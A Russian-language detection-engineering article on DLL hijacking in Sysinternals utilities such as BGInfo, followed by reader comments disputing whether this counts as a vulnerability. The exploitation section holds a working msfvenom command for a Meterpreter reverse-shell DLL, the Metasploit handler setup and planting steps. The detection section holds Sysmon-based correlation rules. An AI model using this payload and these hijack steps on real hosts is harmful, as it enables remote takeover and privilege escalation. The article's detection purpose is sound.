Продолжаем серию статей - Detection is easy, посвященных Detection engineering (DE), о чем я пишу в одноименном Telegram-канале. Многие администраторы и SOC-аналитики активно используют инструменты из набора SysInternals. Исследователь обнаружил, что большинство этих инструментов уязвимы к загрузке вредоносных DLL в память.
Описание уязвимостей
Уязвимость связана с загрузкой DLL из текущего рабочего каталога (CWD) инструментами Sysinternals. Для эксплуатации необходимо разместить исполняемый файл и вредоносную DLL в одной директории.
Для примера возьмем, BGinfo.exe, в оригинале статьи автор использует TextShaping.dll. Полный список уязвимых утилит доступен по ссылке.

На скриншоте выше видно, что процесс пытается загрузить TextShaping.dll в текущей рабочей директории.
Для эксперимента, отключаем Defender, включаем msfconsole, генерируем dll следующей командой.
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.10 lport=5555 -f dll > shell.dll
Разместим созданную DLL со скачанным BGInfo в одной папке.

На атакующей машине создадим handler для meterpreter.
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lport 5555
set lhost 192.168.0.10
run
Двойным кликом нажимаем на Bginfo64.exe и получаем reverse shell.
Некорректно настроенные права на директории, где хранятся утилиты SysInternals, могут позволить злоумышленнику записать DLL, что может привести к повышению привилегий и компрометации хоста. На скриншоте ниже демонстрация запуска Bginfo из сетевого хранилища WebDAV - эксплуатация уязвимости закончилась успешно.

Обнаружение атаки
Логику обнаружения напишем на языке XP.
Будем обнаруживать на основе двух событий: запуск процесса и загрузка библиотеки в память.
event CreateProcess:
key:
event_src.host, object.process.id, object.process.path
filter {
filter::NotFromCorrelator()
and filter::ProcessStart_Windows_any()
and regex(lower(object.process.meta), "sysinternals", 0) != null
}
event LoadLibrary:
key:
event_src.host, subject.process.id, object.process.path
filter {
filter::NotFromCorrelator()
msgid == 7 and event_src.title == "sysmon"
and regex(lower(object.process.fullpath), "^\w:\\windows\\system32", 0) == null
and in_list(["textshaping.dll", "cryptbase.dll", "mpr.dll", "cryptsp.dll"], lower(object.process.name))
}
rule ExploitVulnSysinternals: CreateProcess -> LoadLibrary
В первой директиве event CreateProcess добавил условие, что продукт должен быть sysinternals, во второй директиве LoadLibrary - DLL должна быть расположена не в system32, ее название должно быть из списка импортируемых DLL.
Уязвимость DLL Hijacking в инструментах SysInternals представляет серьезную угрозу, так как позволяет злоумышленникам загружать вредоносные библиотеки. В заключение, важно не только понимать механизмы эксплуатации уязвимостей, но и активно внедрять эффективные методы их обнаружения. Регулярный аудит прав доступа к директориям, мониторинг запуска процессов и загрузки библиотек помогут минимизировать риски и повысить уровень защиты инфраструктуры.
Комментарии (6)
d3f0x0 Автор
05.02.2025 10:40утилиты пытаются загрузить системные dll (которые расположены в system32) из CWD. как раз таки поиск DLL определен в документации microsoft, а поиск dll сначала в CWD выделена как high уязвимость
Busla
Как раз таки нет. Загрузка dll из каталога ПО — не уязвимость, а нормальная практика. Злоумышленнику проще тогда уж сам .exe подменять, а не .dll.
Дело именно в текущем каталоге: если вредоносную .dll положить в профиль пользователя, а затем этот пользователь откроет консоль и выполнит c:\Program Files\Sysinternals\bginfo.exe, подхватится вредоносная .dll из профиля.
d3f0x0 Автор
Это нормальная практика, если dll - существует)
Busla
Вы в само понятие dll вдумайтесь. Концепция dll и придумывалась для уменьшения связности. Подобный подход позволяет как использовать более свежую библиотеку, когда системные библиотеки отстают; так и обеспечить совместимость старого ПО с обновлённой системой. Возможность использования в приложении конкретной несистемной версии библиотеки — это нормально.
Даже если такой поиск библиотеки — проблема безопасности, это совсем другая история, не про текущий рабочий каталог (CWD).
toxella
Это нормальная практика, если можно любую чепуху подсовывать? не думаю
Busla
Любую чепуху — нельзя: должны совпадать интерфейсы. Если админу критично, то ещё и издатель должен быть доверенным.